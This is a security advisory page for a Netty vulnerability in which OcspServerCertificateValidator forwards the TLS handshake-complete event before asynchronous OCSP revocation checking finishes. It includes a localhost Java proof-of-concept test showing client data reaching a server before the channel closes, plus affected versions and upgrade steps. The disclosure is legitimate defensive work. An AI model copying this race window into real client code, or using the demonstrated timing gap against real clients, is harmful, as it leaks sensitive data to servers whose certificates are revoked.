CVE-2026-56822: Netty: TOCTOU in OcspServerCertificateValidator

Published Jul 22, 2026
·
Updated

Summary Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.

Details In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.

Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.

PoC

java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { OCSPRespBuilder respBuilder = new OCSPRespBuilder(); OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNALERROR, null); byte[] responseEncoded = response.getEncoded();

IoTransport mockTransport = IoTransport.create(group.next(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess();

ctx.executor().schedule(() -> { ctx.pipeline().fireChannelActive();

DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP11, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENTTYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENTLENGTH, httpResponse.content().readableBytes());

ctx.pipeline().fireChannelRead(httpResponse); }, 500, TimeUnit.MILLISECONDS); } }); return channel; }, NioDatagramChannel::new);

X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned();

GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.idadocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot);

SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();

CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>(); CountDownLatch dataReceivedLatch = new CountDownLatch(1);

new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() { @Override protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) { receivedData.add(msg.toString(CharsetUtil.UTF8)); dataReceivedLatch.countDown(); } }); } }) .bind(8080) .sync() .channel();

SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build();

DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); Channel clientChannel = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080)); ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof SslHandshakeCompletionEvent) { SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt; if (sslEvent.isSuccess()) { ctx.writeAndFlush(Unpooled.copiedBuffer("SECRETDATA", CharsetUtil.UTF8)); } } ctx.fireUserEventTriggered(evt); } }); } }) .connect("127.0.0.1", 8080) .sync() .channel();

assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));

Thread.sleep(200);

assertFalse(receivedData.contains("SECRETDATA"), "Server should not receive the data."); } finally { group.shutdownGracefully(); } }

Impact TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

Other sources

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check. n io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query. Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.

MITRE

Affected Software

4 affected componentsFixes available
maven/io.netty:netty-handler-ssl-ocsp<4.1.136.Final
4.1.136.Final
maven/io.netty:netty-handler-ssl-ocsp>=4.2.0.Final<4.2.16.Final
4.2.16.Final
Netty Netty<4.1.136
Netty Netty>=4.2.0<4.2.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-handler-ssl-ocsp to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-handler-ssl-ocsp to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final
  3. Upgrade

    Upgrade io.netty.handler.ssl.ocsp.OcspServerCertificateValidator to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  4. Upgrade

    Upgrade io.netty.handler.ssl.ocsp.OcspServerCertificateValidator to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final

Event History

Jul 22, 2026
Advisory Published
via GitHub·09:47 PM
Data Sourced
via GitHub·09:47 PM
DescriptionSeverityWeaknessAffected Software
Jul 28, 2026
CVE Published
via MITRE·11:17 PM
Data Sourced
via MITRE·11:17 PM
DescriptionSeverityWeakness
Jul 29, 2026
Data Sourced
via NVD·12:16 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-56822?

The severity of CVE-2026-56822 is rated high with a score of 7.4 on the CVSS scale.

2

How do I fix CVE-2026-56822?

To fix CVE-2026-56822, you should upgrade to the latest version of Netty that addresses this vulnerability.

3

What are the potential impacts of CVE-2026-56822?

CVE-2026-56822 could allow attackers to intercept sensitive application data if the OCSP validation is not completed before the server connection closes.

4

Which versions of Netty are affected by CVE-2026-56822?

CVE-2026-56822 affects specific versions of Netty prior to the patch in the subsequent releases.

5

What is the primary component affected by CVE-2026-56822?

The primary component affected by CVE-2026-56822 is the OcspServerCertificateValidator within the Netty framework.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203